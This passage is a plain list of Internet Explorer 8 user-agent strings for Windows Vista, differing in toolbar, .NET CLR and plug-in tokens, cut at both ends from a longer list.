GTB5; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; MEGAUPLOAD 3.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; msn OptimizedIE8;ENUS)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.21022; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; FDM; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; KKMAN3.2; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; InfoPath.2; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; KKMAN3.2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnect\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET4.0C; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 5.1.1.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322; Dealio Toolbar 3.4; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Windows-Media-Player/10.00.00.3990; Zune 3.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Zune 3.0; .NET CLR 3.5.30729; InfoPath.1; .NET CLR 3.0.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Zune 3.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.2; chromeframe/17.0.963.46; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET4.0C; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; AskTbORJ/5.14.1.20007)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.1; SV1; .NET CLR 4.8.88265; WOW64; en-US)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.7.31226; WOW64; en-US)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; InfoPath.2; AskTbMYC-ST/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; KKMAN3.2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; MathPlayer 2.10d; GTB6.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; MathPlayer 2.10d; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;  Embedded Web Browser from: http://bsalsa.com/; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; AskTbMYC-ST/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; Zune 4.0; MS-RTC LM 8; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E; OfficeLiveConnector\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Orange 8.0; GTB6.3; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;  Embedded Web Browser from: http://bsalsa.com/; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Q312461; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 1.7; GTB6.6; TencentTraveler 4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 590; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 590; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 627; GTB6.6; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 627; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; QQDownload 627; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Tablet PC 2.0; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Tablet PC 2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 1.1.4322; Tablet PC 2.0; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; Zune 4.7)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30428; .NET CLR 3.5.30729; Media Center PC 5.1; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; MS-RTC LM 8; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLivePatch.1.3; MS-RTC LM 8; OfficeLiveConnector.1.5; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; InfoPath.1; .NET CLR 3.0.30729; msn OptimizedIE8;ENUS)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; MS-RTC LM 8; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; Windows-Media-Player/10.00.00.3990; .NET CLR 3.5.30428; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; Zune 2.5; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; FDM)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; MEGAUPLOAD 3.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Tablet PC 2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; Zune 3.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; MS-RTC LM 8; .NET4.0C; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; .NET4.0E; Sleipnir/2.9.9)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; FDM; .NET4.0C; .NET4.0E; chromeframe/11.0.696.57)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; InfoPath.1; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; OfficeLiveConnector.1.4; 